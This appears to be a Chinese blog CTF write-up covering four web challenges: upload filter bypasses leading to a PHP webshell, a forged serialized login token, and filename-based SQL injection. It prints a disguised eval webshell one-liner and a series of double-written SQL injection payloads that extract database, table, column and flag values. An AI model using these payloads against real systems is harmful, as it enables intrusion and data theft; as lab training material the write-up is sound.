假期水题~

1

假期水题~
假期水题~
假期水题~
成功上传拿到上传地址,尝试修改后缀名
假期水题~
没有阻拦的绕了过去,直接上蚁剑吧
假期水题~
假期水题~
翻了一圈没找到flag,找到了数据库数据连接看看
假期水题~
假期水题~
不断点击数据库发现了藏着flag的地方
假期水题~
点击之后没有直接出现flag,而是要执行SQL语句将flag读取出来
假期水题~

2

假期水题~
假期水题~

莫不是签到题,直接传php文件吧
上传之后没有返回路径,看来没有简单到爆炸,一直再找原因,我的bp也没啥变化
没头绪了我去看了一眼wp发现,正常来说传一句话上去会过滤掉<?和php,不知道为啥我这bp没反应
找到了一个伪装成js的一句话绕过

<script language="pHp">@eval($_POST['123'])</script>

成功上传之后,我的bp还是没有返回路径,很是头疼最后我打开了源码发现了路径
假期水题~
上蚁剑吧
假期水题~
假期水题~
假期水题~
结束了

3(这个乱入了)

假期水题~
假期水题~
一个登录框,我尝试了万能密码没有成功,就产看源码了,差点少看了最后的地方
假期水题~
类似账号密码,登录看看
假期水题~
就这玩意,源码也没看到东西,抓包吧
假期水题~
这个show: 0很扎眼
改成1会怎么样
假期水题~
出现了正真的源码,扒下来吧审计

<?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(鈺�碘枴鈥�)鈺傅鈹粹攢鈹� ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?>

然后找到了关键性的地方
假期水题~
传入token,经过他自己的这个解密方式,再使得user==ichunqiu就能拿到flag

<?php
$i=["user" => "ichunqiu",];
print(base64_encode(gzcompress(serialize($i))));
?>

拿到eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
写入token即可拿到flag,我这出了点小问题没整出来…

4

假期水题~
假期水题~
传了个图片上去,抓包也没有路径,只有页面返回的值,猜测应该是文件名的SQL注入,头一次遇见这种也没啥头绪,我选择掏出wp研究一下
先了解一下俩函数

CONV()
      简单的来说这个函数就是用来进行?进制的转换?的
	  CONV(N,from_base,to_base)
	  N是要转换的数据,from_base是原进制,to_base是目标进制。
	  如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数
substr()函数返回字符串的一部分。
substr(string,start,length)
string 必需。规定要返回其中一部分的字符串。
start  必需。规定在字符串的何处开始。
       正数 - 在字符串的指定位置开始
       负数 - 在从字符串结尾的指定位置开始
       0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
       正数 - 从 start 参数所在的位置返回
       负数 - 从字符串末端返回

假期水题~
先注册个号进去
假期水题~

搞张图改名,开始传
首先将文件名改成如下

a' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg 
这里需要双写绕过

substr超过12就会科学计数法,所以分段获取内容
假期水题~
将返回内容转为16进制后,再16进制转字符串
假期水题~
假期水题~
获取的内容应该不全,扩大范围接着找

a' +(selselectect conv(substr(hex(database()),15,12),16,10))+ '.jpg

假期水题~
假期水题~
假期水题~
哎,我擦缺了个东西,后面改一下范围

a' +(selselectect conv(substr(hex(database()),13,12),16,10))+ '.jpg

这样应该就行了,减少篇幅就不重复操作了
这样我们就拿到了数据库的名字web_upload
接着注,下一步注表

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

假期水题~
假期水题~
范围再加12

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

假期水题~
假期水题~
一看就还没结束,后面应该还有,再加12

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

假期水题~
假期水题~
到这应该是结束了拿到了表明hello_flag_is_here
再后面就是注列名和字段内容,方法同上

a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

一次没能全部输出,扩大12接着输出
拿到列名i_am_flag
最后注出字段具体内容

a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

三次才把所有的内容回显出来
拿到flag:!!_@m_Th.e_F!lag
假期水题~
人麻了,先这样吧,今晚会接触一下AWD到时候看看能不能写点东西
前面的系列文章压榨空闲时间会慢慢发出来
假期水题~

上一篇:交互入门2——射击打靶游戏


下一篇:Java 练习(获取一个字符串在另一个字符串中的出现次数)